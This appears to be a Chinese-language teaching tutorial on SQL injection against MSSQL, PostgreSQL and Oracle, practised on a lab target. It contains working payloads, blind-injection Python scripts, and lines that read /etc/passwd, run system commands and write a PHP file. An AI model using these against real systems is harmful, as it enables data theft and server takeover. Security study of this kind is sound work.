其他类型的数据库的注入

MS SQL Server注入

MS SQL Server 数据库介绍

Microsoft SQL Server 是微软开发的关系型数据库管理系统。作为数据库服务器,它是一种软件产品,主要功能是根据其他软件应用程序的请求存储和检索数据,这些应用程序可以在同一台计算机上运行,也可以在网络(包括 Internet)上的另一台计算机上运行。SQL Server 默认开放的端口是 TCP 1433

它是全球主流的数据库产品之一,与 Oracle、MySQL 并称为三大关系型数据库

常用的函数

目标信息 函数 示例返回值
当前数据库名 db_name() MyFirstDB
当前用户名 useruser_name() dbo
系统登录账户 system_usersuser_name() LAPTOP-NQSJIKSS\eason
数据库版本 @@version Microsoft SQL Server 2022...
服务器名 @@servername LAPTOP-NQSJIKSS
当前数据库ID db_id() 5
当前语言 @@language us_english

内置系统表

Sysdatabases 表

Sysdatabases 表只保存在 master 数据库中,这个表中保存的是所有的库名,主要字段有:name 数据库名

Sysobjects表

SQLServer 中的每个数据库内都有此系统表,存放着数据库所有的表名。主要字段有:name、id、xtype 分别是表名、表 ID、创建的对象。当 xtype=’U’代表是用户建立的表。

Syscolumns 表

Syscolumns 表位于每个数据库中,存放着数据库所有的字段名。主要字段有:name、id 分别是字段名称、表 ID,其中的 ID 是用 sysobjects 得到的表的 ID 号

SQL Server信息收集

(以数字型注入为例)

  • 判断数据库类型(探测目标网站是否使用 MSSQL 数据库)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
/* sysobjects 为 MSSQL 数据库中独有的数据表,如果页面返回正常即可表示为 MSSQL 数据库 */

?id=1 and (select count(*) from sysobjects)>0 --

1.and 两边的条件同时为真,整个查询才会返回结果

2.sysobjects 是 MSSQL 系统表,每个数据库里都有它

3.count(*) 计算这个表里有多少行记录
整个子查询的结果是一个数字(比如 50100200,取决于这个数据库里有多少对象)

4.关键点:只有 MSSQL 数据库才有 sysobjects 这个系统表。MySQL 没有它(MySQL 用的是 information_schema.tables)

5.>0:判断子查询的结果是否大于 0
因为 sysobjects 表里至少有一条记录(比如之前查到的 TestTable),所以 count(*) 的结果一定大于 0,这个条件永远为真

6.--:在 SQL 中,-- 表示注释。它会忽略掉原始 SQL 语句后面的所有内容,防止原始语句中的多余代码(比如多余的引号、ORDER BY 等)破坏我们的注入语句
------------------------------------------------------------------------------------------------------------
/* 通过 MSSQL 数据库中特有的延时函数进行判断(时间盲注)*/

?id=1;WAITFOR DELAY '00:00:10'; --

1.; 分隔符。在 MSSQL 中,分号表示一条语句结束,下一条开始,允许你执行多条 SQL

2.WAITFOR DELAY '00:00:10' MSSQL 特有的延时命令,让数据库等待 10 秒后再响应

3.-- 注释掉原始 SQL 后面可能存在的多余代码

  • 查询数据库版本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
1 and 1=(select @@version) --
MSSQL 报错注入 Payload,目的是利用类型不匹配的错误,直接把数据库版本信息“爆”出来。

1=(select @@version) 把 @@version(字符串)和数字 1 做相等比较

@@version:
MSSQL 的系统变量

返回一个字符串,包含 SQL Server 的版本、操作系统版本、补丁信息等

例如:"Microsoft SQL Server 2022 (RTM) - 16.0.1000.6 (X64) ..."

为什么会报错?

@@version 返回的是字符串(如 'Microsoft SQL Server...'

你拿它和数字 1 做等值比较(1 = 字符串)

MSSQL 无法将字符串隐式转换为数字,于是抛出类型转换错误,在错误中就会报错出数据库版本信息

具体报错:

  • 判断当前数据库用户名
1
2
3
4
5
6
?id=1 and user>0;--
利用类型不匹配进行报错注入的经典 Payload,专门用来获取当前数据库用户名
1.user MSSQL 的系统函数,返回当前数据库用户名(字符串)
2.>0 将字符串和数字 0 进行比较


  • 获取当前数据库名
1
2
3
4
5
?id=1 and db_name()>0;--
user>0 的原理一样

db_name():当前数据库的名称

  • 判断字段个数
1
?id=1 order by 6--

示例表(三段):

order by查询:

4:

3:

  • 查询当前的本地服务名
1
2
3
4
5
?id=1 and 1=(select @@servername)--

@@servername:
MSSQL 系统变量
返回 SQL Server 实例的名称

  • 判断当前服务器级别角色(Server-level roles)(MSSQL 权限探测,判断当前数据库账户属于哪些服务器角色)
1
2
3
4
5
6
7
8
9
?id=1 and 1=(select is_srvrolemember('sysadmin'))--
?id=1 and 1=(select is_srvrolemember('serveradmin'))--
?id=1 and 1=(select is_srvrolemember('securityadmin'))--
?id=1 and 1=(select is_srvrolemember('processadmin'))--
?id=1 and 1=(select is_srvrolemember('setupadmin'))--
?id=1 and 1=(select is_srvrolemember('bulkadmin'))--
?id=1 and 1=(select is_srvrolemember('diskadmin'))--
?id=1 and 1=(select is_srvrolemember('dbcreator'))--
?id=1 and 1=(select is_srvrolemember('public'))--

is_srvrolemember函数介绍:

is_srvrolemember('角色名') 是 MSSQL 的内置函数,用于判断当前用户是否属于指定的服务器角色。

返回值 含义
1 是,当前用户属于该角色
0 否,不属于
NULL 角色名无效

服务器角色及其权限(从高到低)

角色名 权限说明 注入中的意义
sysadmin 系统管理员,最高权限,可做任何操作 拿到这个权限 ≈ 拿下整个服务器
serveradmin 可修改服务器配置(启动/停止、设置参数等) 可以搞瘫痪服务器
securityadmin 可管理登录账户、权限 可以创建新账户并提权
processadmin 可终止数据库进程 可以搞 DoS 攻击
setupadmin 可配置链接服务器、存储过程 可能执行系统命令
bulkadmin 可执行 BULK INSERT(批量导入文件) 可能读取系统文件
diskadmin 可管理磁盘文件 可能读取/写入文件
dbcreator 可创建、更改、删除数据库 权限较大,但不如 sysadmin
public 所有用户都有的默认角色,权限最小 返回值永远是 1(人人都是 public)

示例:

报错注入

原理:MSSQL 数据库是强类型语言数据库,当类型不一致时将会报错,配合子查询即可实现报错注入。前提是服务器允许返回报错信息

  • 查询当前数据库中的表名
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
?id=1 and 1=(select top 1 name from sysobjects where xtype='u');--
?id=1 and 1=(select top 1 name from sysobjects where xtype='u' and name not in ('Users'));--
------------------------------------------------------------------------------------------------------------
1.sysobjects:MSSQL 系统表,存储数据库所有对象

2.xtype='u':筛选用户表(User table

3.TOP 1:只返回第一个符合条件的表名

4.NOT IN (...):排除已经找到的表,从而获取下一个新表
------------------------------------------------------------------------------------------------------------

在 MSSQL 中除了借助 sysobjects 表和 syscolumns 表获取表名、列名外,MSSQL 数据库中也兼容 information_schema,里面存放了数据表表名和字段名。使用方法与 MySQL 相同

/* 查询表名可以用 information_schema.tables */
?id=1 and 1=(select top 1 table_name from information_schema.tables);--

/* 查询列名可以用 information_schema.columns */
?id=1 and 1=(select top 1 column_name from information_schema.columns where table_name='Users');--

  • 查询表中的字段名
1
2
3
4
5
6
7
8
9
10
11
12
13
14
?id=1 and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name = 'Users'));--
?id=1 and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name = 'Users') and name<>'id');--
?id=1 and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name = 'Users') and name<>'id' and name<>'password');--

------------------------------------------------------------------------------------------------------------

syscolumns:MSSQL 系统表,存储所有表的列信息

sysobjects:存储数据库对象信息,通过子查询获取 Users 表的 id

TOP 1:每次只返回第一个符合条件的列名

name <> '...':排除已找到的列,获取下一个新列

  • 查询表中具体的数据
1
2
3
4
5
6
7
8
9
10
11
12
13
-- 获取第1个 username
?id=1 and 1=(select top 1 username from Users);--

-- 获取第2个 username
?id=1 and 1=(select top 1 username from Users where username<> 'admin');--

-- 获取第3个 username
?id=1 and 1=(select top 1 username from Users where username<> 'admin' and username<> 'flag');--
-----------------------------------------------------
1.mssql的排除可以用两种方法,一种是not in
?id=1 and 1=(select top 1 id from Users where username not in ('admin','flag'));--

2.还有一种是and<>

联合注入

方法与一般的 SQL 联合注入相同。值得注意的是,MSSQL 联合注入一般不使用数字占位,而是 NULL,因为使用数字占位可能会发生隐式转换

1
2
3
?id=-1 union select NULL, NULL ,NULL from Users--

?id=-1 union select NULL, password , NULL from Users--

布尔盲注

方法与一般的 SQL 布尔盲注相同,使用 ASCII 码逐个比较字符,将返回为 True 的结果输出即可

1
?id=-1 or ascii(substring((select top 1 username from Users),1,1))>97--

布尔盲注脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import requests
import time

url = 'http://192.168.2.244/index.aspx?user_id='

cookies = { # 如果目标网站要事先登录,就加上cookies吧
"PHPSESSID":"c8ab8r49nd2kk0qfhs0dcaktl3"
}

flag = ''
for i in range(1,90000):
low = 32
high = 128
mid = (low+high)//2
while(low<high):
payload = url + "-1 or ascii(substring((select top 1 name from master.dbo.sysdatabases),%d,1))>%d-- " %(i,mid)
res = requests.get(url=payload)

"""
data = {
"user_id": payload
}
res = requests.get(url=url, data=data)
"""

if 'Joe Vilella' in res.text: # 为真时,即判断正确的时候的条件
low = mid+1
else:
high = mid
mid = (low+high)//2
if(mid ==32 or mid ==127):
break
flag = flag+chr(mid)
print(flag)


时间盲注

MSSQL 数据库中的 WAITFOR 延时存储过程可以用来时间盲注,当语句执行成功,页面延时返回即为 True

1
2
3
4
5
?id=1;if (select IS_SRVROLEMEMBER('sysadmin'))=1 WAITFOR DELAY '0:0:2'--
判断是否为系统管理员

?id=1;if (ascii(substring((select top 1 name from master.dbo.sysdatabases),1,1)))>1 WAITFOR DELAY '0:0:2'--
枚举数据库名

时间盲注脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import requests
import json
import time

url = 'http://192.168.2.244/index.aspx?user_id='

flag = ''
for i in range(1,250):
low = 32
high = 128
mid = (low+high)//2
while(low<high):

payload = url + "1;if (ascii(substring((select top 1 name from master.dbo.sysdatabases),%d,1)))>%d WAITFOR DELAY '0:0:2'--" %(i,mid)

times = time.time()
res = requests.get(url=payload)

"""
data = {
"user_id": payload
}
res = requests.get(url=url, data=data)
"""

if time.time() - times >= 2: # 为真时,即判断正确的时候的条件
low = mid+1
else:
high = mid
mid = (low+high)//2
if(mid ==32 or mid ==127):
break
flag = flag+chr(mid)
print(flag)

PostgreSQL注入

PostgreSQL数据库介绍

PostgreSQL(通常简称为 Postgres)是一个功能非常强大、开源的对象-关系型数据库系统。自 1986 年于加州大学伯克利分校诞生以来,它已历经近 40 年的持续开发与演进,凭借其可靠性、数据完整性以及对 SQL 标准的高度兼容,赢得了全球开发者和众多知名企业的青睐。

简单来说,PostgreSQL 不仅能很好地处理传统的关系型数据,还具备处理 JSON、地理空间信息等复杂数据的能力,是一个”一站式”的数据管理解决方案。

PostgreSQL对比mysql语法

操作 MySQL PostgreSQL 说明
查看版本 SELECT VERSION() SELECT VERSION() 基本相同
查看当前用户 SELECT USER() SELECT CURRENT_USER PG 不需要括号
查看数据库 SHOW DATABASES SELECT datname FROM pg_database PG 用系统表
查看所有表 SHOW TABLES SELECT tablename FROM pg_tables PG 用系统表
查看表结构 DESC table_name \d table_name (psql) 或查询系统表 PG 命令行用反斜杠
字符串拼接 CONCAT('a','b')'a' 'b' `’a’
注释符 #-- -- PG 不支持 #
限制行数 LIMIT 1 LIMIT 1 相同
条件语句 IF(condition, true, false) CASE WHENNULLIF PG 更标准
获取当前数据库 SELECT DATABASE() SELECT CURRENT_DATABASE() 类似

其余90% 的 SQL 语法和mysql是完全一样的

PostgreSQL注入的关键系统表及字段

系统表

系统表 作用 关键字段
pg_database 存储所有数据库 datname (数据库名)
pg_tables 存储所有表信息 tablename(表名)、schemaname(模式名称)
pg_class 存储所有表和索引 relname (表名), relkind
pg_attribute 存储所有列信息 attname (列名), attrelid(关系/表的id)
pg_namespace 存储 schema 命名空间 nspname (schema名)

postgresql数据库也有information_schema.tables这张表,也可以使用这张表进行查询表名,列名


PostgreSQL常用命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
select current_schema()           #查看当前权限
select user #查看用户
select current_user #查看当前用户
select chr(97) #将ASCII码转为字符
select chr(97)||chr(100)||chr(109)||chr(105)||chr(110) #将ASCII转换为字符串
SELECT session_user;
SELECT usename FROM pg_user;
SELECT getpgusername();
select version() #查看PostgreSQL数据库版本
SELECT current_database() #查看当前数据库
select length('admin') #查看长度

select case when(expr1) then result1 else result2 end; #如果xx,执行result1,否则result2
例:select case when(current_user='postgres') then pg_sleep(5) else pg_sleep(0) end;

select pg_read_file("/etc/passwd"); #读取文件
select system("whoami"); #执行系统命令,11.2以下才有该命令
COPY (select '<?php phpinfo();?>') to '/tmp/1.php'; #写入文件

注:以下靶场为字符型注入

联合查询

1
2
3
4
5
6
7
1' order by 3--  #查看显示列

1' order by 4--(正常)
1' order by 5--(报错)

1' union select null,null,null--(这里是使用的null来占位)
因为直接使用MySQL的数字进行占位的话会出现类型不匹配报错的问题,因为我们不一定知道这三个位置的具体类型

当使用 -1' union select 1,2,3-- 时,出现了第二个和第三个位置的数据类型不匹配,第二和第三位的数据类型为char,但是我们这里使用了int进行占位导致了出错

当使用 -1' union select 1,'2','3'-- 时,正常回显,但是大多情况下我们不知道具体位置的数据类型,所以都是使用的NULL进行占位

获取数据库信息

1
2
3
4
5
6
7
8
9
-- 获取当前数据库
-1' union select NULL,current_database(),NULL --

-- 获取当前用户
-1' union select NULL,current_user,NULL --

-- 获取版本
-1' union select NULL,version(),NULL --

获取表名

1
2
3
(1)-1' union select NULL,tablename,NULL FROM pg_tables WHERE schemaname='public' --

(2)-1' union select 1,table_name,NULL from information_schema.tables where table_schema='public'--

这里的schemaname=’public’:
public 是 PostgreSQL 默认的”公共文件夹”,创建的表默认都放在 public 里,如果不设定模式schemaname=’public’,会出现许多PostgreSQL自己的系统表,虽然schemaname=’public’不是必须,但是最好设置上

获取users表的列名

1
2
3
4
(1)-1' union select NULL,attname,NULL FROM pg_attribute WHERE attrelid='users'::regclass and attnum>0 --

--------------------------------------------------------------------------------------------------------------------------------
(2)-1' union select 1,column_name,data_type FROM information_schema.columns where table_name='users' --

释义:

  • 1.:: 在 PostgreSQL 中的含义

:: 是 PostgreSQL 中的类型转换运算符(Type Cast Operator),用于将一个值从一种数据类型转换为另一种数据类型

1
值::目标数据类型

这等价于标准的 SQL 函数 CAST(值 AS 目标数据类型)

示例:

1
2
3
4
5
6
7
8
9
10
11
12
-- 字符串转整数
SELECT '123'::integer; -- 结果:123
SELECT CAST('123' AS integer); -- 相同效果

-- 整数转字符串
SELECT 123::varchar; -- 结果:'123'

-- 字符串转日期
SELECT '2024-01-01'::date; -- 结果:2024-01-01

-- 小数转整数(截断)
SELECT 12.34::integer; -- 结果:12
    1. 'users'::regclass —— 将表名转换成内部ID

(1) 'users' 是一个普通的字符串,内容是表名 users

(2) ::regclass 是 PostgreSQL 的类型转换语法

作用:把字符串 'users' 转换成 PostgreSQL 内部的对象ID(OID)

简单理解: 数据库内部有一个主表 pg_class,里面记录了所有表、索引等对象的编号(OID)。'users'::regclass 就是告诉数据库:“帮我找到 users 表对应的内部编号”。

示例:

1
SELECT 'users'::regclass;

返回的结果可能是一个数字,比如 24668(这个数字是 users 表在数据库内部的唯一ID)。

所以,'users'::regclass 实际上就返回了 users 表的内部OID(如下图)

  • 3.WHERE attrelid='users'::regclass AND attnum>0

    这一句就是在做筛选:

    • attrelid = 'users'::regclass
      只取“属于 users 表”的那些列。
    • attnum > 0
      去掉系统内部的隐藏列(比如 ctidoid 等),只保留我们真正关心的普通列。

    如果不加 attnum > 0,可能会返回 tableoidcmax 等系统列,这些不是用户定义的列,我们一般不需要

获取所有数据

1
2
3
4
5
6
(1)-1' union select id,username,password from users --

(2)-1' union select id,username || ':' || password,NULL from users-- 使用字符串连接合并显示(当可显示列不足时)

针对性获取
(3)-1' union select id,username,password from users where username='flag'--

报错注入

前提:报错注入需要目标网站开启了报错提示

类型转换报错注入

基础语法:

利用整数类型转换失败时,会在错误信息中显示无法转换的值(利用函数:cast())

CAST()函数介绍:

CAST() 是 SQL 标准中的类型转换函数,用于将一个数据类型转换为另一个数据类型。在报错注入中,我们利用的是强制类型转换失败时的错误信息

1
2
3
4
5
6
7
8
9
10
11
12
13
CAST(表达式 AS 目标数据类型)

示例:
-- 将字符串转换为整数
SELECT CAST('123' AS INTEGER); -- 结果:123
SELECT '123'::INTEGER; -- 相同效果

-- 将整数转换为字符串
SELECT CAST(123 AS VARCHAR); -- 结果:'123'
SELECT 123::VARCHAR; -- 相同效果

-- 将字符串转换为日期
SELECT CAST('2024-01-01' AS DATE); -- 结果:2024-01-01

报错注入的利用:

1
2
3
4
5
6
7
8
9
-- 基础语法
and 1=cast((select payload) as int)

如果 payload查询到的结果 的值不是一个纯数字,比如最常见的数据库名 postgres、表名 users、用户名 admin、密码 flag{xxx} 等,那么 CAST('postgres' AS INT) 就会失败,抛出错误,一旦转换失败,PostgreSQL 会立即停止执行并抛出一个错误,比如 ERROR: invalid input syntax for integer: "postgres"。这个错误信息中,恰好就包含了我们想查询的数据 postgres

1= 的作用是将类型转换操作嵌入到一个完整的布尔表达式中,使其符合 WHERE 子句的语法要求:CAST(...) AS INT 本身不是一个布尔表达式,它返回的是一个整数类型的值。WHERE 子句要求后面跟的是布尔表达式(结果为 TRUEFALSENULL

-- 实际示例:获取当前用户
and 1=cast((select current_user) AS int)

获取数据库版本:

1
1' and 1=cast((select version()) AS int)--

获取当前用户:

1
1' and 1=cast((select current_user) AS int)--

获取当前数据库名:

1
1' and 1=cast((select current_database()) AS int)--

获取表名

1
2
3
(1)1' and 1=cast((select tablename from pg_tables where schemaname='public') AS int)--

(2)1' and 1=cast((select table_name from information_schema.tables where table_schema='public') AS int)--

获取列名

1
2
3
4
5
(1)1' and 1=cast((SELECT string_agg(attname, ',') FROM pg_attribute WHERE attrelid='users'::regclass AND attnum>0) AS int)--
由于报错注入不能多行回显,所里这里使用string_agg()函数将列名连接成一个字符串显示

--------------------------------------------------------------------------------------------------------------------------------
(2)1' and 1=cast((SELECT string_agg(column_name || ':' || data_type, ', ') FROM information_schema.columns WHERE table_name='users') AS int)--

string_agg() 函数介绍:

tring_agg() 是 PostgreSQL 中的字符串聚合函数,用于将多行数据的某个字段连接成一个字符串。在注入中非常实用,因为它能把多行结果合并成单行,满足报错注入”必须返回单值”的要求。

基本语法:

1
2
3
4
5
string_agg(要连接的字段, '分隔符')

string_agg(要连接的字段, '分隔符' ORDER BY 排序字段)

这里是将列名用,连接成一个字符串输出(如上图报错结果)

获取数据

1
2
3
4
5
6
7
8
-- 获取所有用户名
1' and 1=cast((SELECT string_agg(username, ',') FROM users) AS int)--

--获取所有密码
1' and 1=cast((SELECT string_agg(password, ',') FROM users) AS int)--

--同时获取用户名和密码
1' and 1=cast((SELECT string_agg(username || ':' || password, ' | ') FROM users) AS int)--

XML/JSON函数报错

XML函数报错注入

(PostgreSQL 9.3+)

1
2
3
4
5
-- xmlagg 函数报错
AND 1=convert(xmlagg(payload), text)::int

-- json 函数报错
AND 1=CAST((SELECT json_agg(payload)) AS text)::int
  • 第1层:xmlagg(payload)

xmlagg() 是 PostgreSQL 的 XML 聚合函数,将多行数据聚合成一个 XML 文档

1
2
-- 示例:假设 users 表有 'admin', 'test', 'bob'
SELECT xmlagg(xmlelement(name user, username)) FROM users;

返回结果:

1
<user>admin</user><user>test</user><user>bob</user>
  • 第2层:convert(xmlagg(...), text)

将 XML 类型转换为文本字符串。

1
2
-- 转换后得到字符串
'<user>admin</user><user>test</user><user>bob</user>'
  • 第3层:::int (或 CAST(...AS int))

关键步骤: 将文本字符串强制转换为整数。

由于字符串包含 <>、字母等非数字字符,转换必然失败

1
2
3
4
5
-- 执行时
'<user>admin</user>'::int

-- 报错
ERROR: invalid input syntax for integer: "<user>admin</user>"

相关payload:

1
2
3
4
5
6
7
8
-- 获取表名
1' AND 1=((SELECT xmlagg(xmlelement(name t, table_name)) FROM information_schema.tables WHERE table_schema='public'))::text::int --

-- 获取列名
1' AND 1=((SELECT xmlagg(xmlelement(name c, column_name)) FROM information_schema.columns WHERE table_name='users'))::text::int --

-- 获取 flag 密码
1' AND 1=((SELECT xmlelement(name flag, password) FROM users WHERE username='flag'))::text::int --

::text::int 表示连续进行两次类型转换

1
值 ::text ::int

执行顺序:从右向左(或理解为逐步转换)

  1. 第一次转换:值 ::text → 将原值转换为文本字符串
  2. 第二次转换:结果 ::int → 将文本字符串转换为整数


JSON函数报错注入

JSON 函数报错注入的原理是:利用 JSON 聚合函数将查询结果转换为 JSON 格式,然后强制转换为整数,导致类型转换错误,在错误信息中暴露数据

1
2
-- 核心公式
数据 → json_agg() → JSON数组 → ::text → 字符串 → ::int → ❌ 报错暴露数据

json_agg()函数介绍

json_agg() - 聚合为 JSON 数组

将多行数据聚合成一个 JSON 数组。

1
2
SELECT json_agg(username) FROM users;
-- 结果: ["admin", "test", "bob"]

报错原因

  • JSON 数组格式如 ["admin", "test"] 包含 []" 等字符
  • 这些字符无法转换为整数
  • 数据库报错时会将完整的 JSON 字符串显示出来

相关payload

1
2
3
4
5
6
7
8
--获取表名
1' AND 1=((SELECT json_agg(table_name) FROM information_schema.tables WHERE table_schema='public'))::text::int --

--获取列名
1' AND 1=((SELECT json_agg(column_name) FROM information_schema.columns WHERE table_name='users'))::text::int --

--获取数据
1' AND 1=((SELECT json_agg(json_build_object('column', column_name, 'type', data_type)) FROM information_schema.columns WHERE table_name='users'))::text::int --

数组转换错误

1
2
3
4
5
-- 利用数组索引越界
AND 1=CAST((SELECT payload) AS int[])::int

-- 示例
AND 1=CAST((SELECT current_user) AS int[])::int

原理:

这个方法利用的是 PostgreSQL 数组类型转换时的边界检查错误

1
CAST((SELECT payload) AS int[])::int

执行流程:

  1. 将查询结果转换为 int[](整数数组)

  2. 然后将数组转换为整数 ::int

  3. 数组无法直接转换为整数,触发错误

相关payload

1
2
3
4
5
6
7
8
--查表名
1' AND 1=((SELECT json_agg(table_name) FROM information_schema.tables WHERE table_schema='public'))::text::int --

--查列名
1' AND 1=((SELECT json_agg(column_name) FROM information_schema.columns WHERE table_name='users'))::text::int --

--获取数据
1' AND 1=((SELECT json_agg(json_build_object('user', username, 'pass', password)) FROM users))::text::int --

布尔盲注

字符串内容判断

1
2
3
4
5
6
7
8
-- 判断第一个字符是否为 'a'
1' AND (SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema='public' LIMIT 1), 1, 1)) = 'a' --

-- 使用 ASCII 码判断
1' AND ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema='public' LIMIT 1), 1, 1)) = 97 --

-- 使用 LEFT 函数
1' AND LEFT((SELECT table_name FROM information_schema.tables WHERE table_schema='public' LIMIT 1), 1) = 'a' --

时间盲注

Postgresql的延时函数:pg_sleep(seconds)

1
2
3
4
5
-- 延时5秒
SELECT pg_sleep(5);

-- 条件判断延时
1' AND (SELECT CASE WHEN (SELECT current_user='postgres') THEN pg_sleep(5) ELSE NULL END) --

获取表名

1
2
3
4
5
6
7
8
9
10
11
-- 判断表数量
1' AND (SELECT CASE WHEN (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema='public') > 0 THEN pg_sleep(5) ELSE NULL END) --

-- 判断第一个表名长度
1' AND (SELECT CASE WHEN (SELECT LENGTH(table_name) FROM information_schema.tables WHERE table_schema='public' LIMIT 1 OFFSET 0) > 3 THEN pg_sleep(5) ELSE NULL END) --
1' AND (SELECT CASE WHEN (SELECT LENGTH(table_name) FROM information_schema.tables WHERE table_schema='public' LIMIT 1 OFFSET 0) = 5 THEN pg_sleep(5) ELSE NULL END) -- 'users'长度为5

-- 猜解第一个表名第一个字符 'u'
1' AND (SELECT CASE WHEN ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema='public' LIMIT 1 OFFSET 0), 1, 1)) > 100 THEN pg_sleep(5) ELSE NULL END) --
1' AND (SELECT CASE WHEN ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema='public' LIMIT 1 OFFSET 0), 1, 1)) = 117 THEN pg_sleep(5) ELSE NULL END) -- 'u'

获取列名

1
2
3
4
5
6
7
8
9
-- 判断列数量
1' AND (SELECT CASE WHEN (SELECT COUNT(*) FROM information_schema.columns WHERE table_name='users') = 3 THEN pg_sleep(5) ELSE NULL END) --

-- 判断第一列名长度
1' AND (SELECT CASE WHEN (SELECT LENGTH(column_name) FROM information_schema.columns WHERE table_name='users' ORDER BY ordinal_position LIMIT 1 OFFSET 0) = 2 THEN pg_sleep(5) ELSE NULL END) -- 'id'

-- 猜解第一列名 'i', 'd'
1' AND (SELECT CASE WHEN ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_name='users' ORDER BY ordinal_position LIMIT 1 OFFSET 0), 1, 1)) = 105 THEN pg_sleep(5) ELSE NULL END) -- 'i'
1' AND (SELECT CASE WHEN ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_name='users' ORDER BY ordinal_position LIMIT 1 OFFSET 0), 2, 1)) = 100 THEN pg_sleep(5) ELSE NULL END) -- 'd'

获取数据

1
2
3
4
5
6
7
8
9
-- 判断 flag 密码长度
1' AND (SELECT CASE WHEN (SELECT LENGTH(password) FROM users WHERE username='flag') > 10 THEN pg_sleep(5) ELSE NULL END) --
1' AND (SELECT CASE WHEN (SELECT LENGTH(password) FROM users WHERE username='flag') > 15 THEN pg_sleep(5) ELSE NULL END) --
1' AND (SELECT CASE WHEN (SELECT LENGTH(password) FROM users WHERE username='flag') = 16 THEN pg_sleep(5) ELSE NULL END) --

-- 逐字符猜解 flag 密码
-- 第1个字符 'f' (ASCII 102)
1' AND (SELECT CASE WHEN ASCII(SUBSTRING((SELECT password FROM users WHERE username='flag'), 1, 1)) > 100 THEN pg_sleep(5) ELSE NULL END) --
1' AND (SELECT CASE WHEN ASCII(SUBSTRING((SELECT password FROM users WHERE username='flag'), 1, 1)) = 102 THEN pg_sleep(5) ELSE NULL END) --

Oracle Database

简介:

Oracle数据库是甲骨文公司(Oracle Corporation)开发的一款关系型数据库管理系统(RDBMS)。它基于SQL语言进行数据操作,不仅是全球最广泛使用的数据库系统之一,更是数据库技术发展史上的一个里程碑

数据库信息表

视图名 作用 关键字段 典型查询
V$VERSION 数据库版本信息 BANNER SELECT BANNER FROM V$VERSION WHERE ROWNUM=1
V$INSTANCE 实例运行信息 INSTANCE_NAME, HOST_NAME, VERSION SELECT INSTANCE_NAME FROM V$INSTANCE
V$DATABASE 数据库信息 NAME, CREATED SELECT NAME FROM V$DATABASE

注入关键表

表名 作用 关键字段 典型查询
USER_TABLES 当前用户的所有表 TABLE_NAME, NUM_ROWS SELECT TABLE_NAME FROM USER_TABLES WHERE ROWNUM=1
USER_TAB_COLUMNS 当前用户的列信息 TABLE_NAME, COLUMN_NAME, DATA_TYPE SELECT COLUMN_NAME FROM USER_TAB_COLUMNS WHERE TABLE_NAME='USERS'
USER_USERS 当前用户信息 USERNAME, ACCOUNT_STATUS SELECT USERNAME FROM USER_USERS
DUAL 虚拟表(语法占位) DUMMY(单行单列) SELECT USER FROM DUAL

联合注入

判断列数:

1
2
3
-- 闭合单引号,然后 ORDER BY,最后注释掉后面的单引号
username=admin' ORDER BY 4 --
username=admin' ORDER BY 5 --

Oracle 规定:任何 SELECT 语句都必须带有 FROM 子句

也就是说,在 Oracle 中:

  • SELECT 1, 'abc'语法错误
  • SELECT 1, 'abc' FROM DUAL正确

什么dual?

DUAL 是 Oracle 中一个特殊的虚拟表,它:

  • 属于系统用户 SYS
  • 只有一列DUMMY,类型为 VARCHAR2(1)
  • 只有一行(值为 'X'
  • 专门用来满足”SELECT 必须带 FROM”的语法要求

当我们需要查询与任何实际表无关的表达式时,就使用 DUAL

1
2
3
4
5
6
7
8
-- 查询当前时间
SELECT SYSDATE FROM DUAL;

-- 计算 1+1
SELECT 1+1 FROM DUAL;

-- 联合查询中的常量值
SELECT NULL, 'abc', 123 FROM DUAL;

获取表名

1
2
3
4
5
6
7
8
9
10
在回显位置插入查询语句:
username=-admin' UNION SELECT NULL, table_name, NULL, NULL FROM USER_TABLES --

USER_TABLES:当前用户的所有表

table_name:表名字段(字符型)

结果中会包含 USERS 表

注意:Oracle 表名默认大写,如果建表时是小写,需用双引号,但通常用大写查询。

获取列名:

1
2
3
4
5
6
7
username=-admin' UNION SELECT NULL, column_name, NULL, NULL FROM USER_TAB_COLUMNS WHERE table_name='USERS' -- 

USER_TAB_COLUMNS:存储列信息的系统表

WHERE table_name='USERS':筛选 USERS 表的列

column_name:列名字段

如果不确定表名大小写:

1
2
-- 使用 UPPER() 函数
username=-admin' UNION SELECT NULL, column_name, NULL, NULL FROM USER_TAB_COLUMNS WHERE UPPER(table_name)=UPPER('users') --

查询数据:

1
2
-- 查询所有用户的账号密码
username=-admin' UNION SELECT id, username, password, email FROM USERS --

报错注入

原理:

报错注入的原理是故意构造一个会导致数据库报错的 SQL 语句,并将想要查询的数据“塞进”错误消息中返回

Oracle 的报错注入与 MySQL 有很大不同,MySQL 常用 updatexml()extractvalue(),而 Oracle 则是利用内置函数在特定参数下会抛出包含数据的错误

Oracle 中最常用的报错注入函数/技巧:

方法 核心函数/技巧 适用场景 备注
CTXSYS.DRITHSX.SN() CTXSYS.DRITHSX.SN() 绝大多数 Oracle 版本 最常用
XMLType 相关 XMLType()extractvalue() 支持 XML 的版本 类似 MySQL
数值溢出 1/TO_NUMBER() 所有版本 利用除零错误
UTL_INADDR UTL_INADDR.GET_HOST_ADDRESS() 有网络函数权限 可带出数据
DBMS_XDB_VERSION DBMS_XDB_VERSION.CHECKOUT() XDB 组件存在时 报错注入

CTXSYS.DRITHSX.SN()报错注入

CTXSYS.DRITHSX.SN()报错注入是Oracle数据库报错注入中最经典的利用

CTXSYS.DRITHSX.SN()函数介绍:

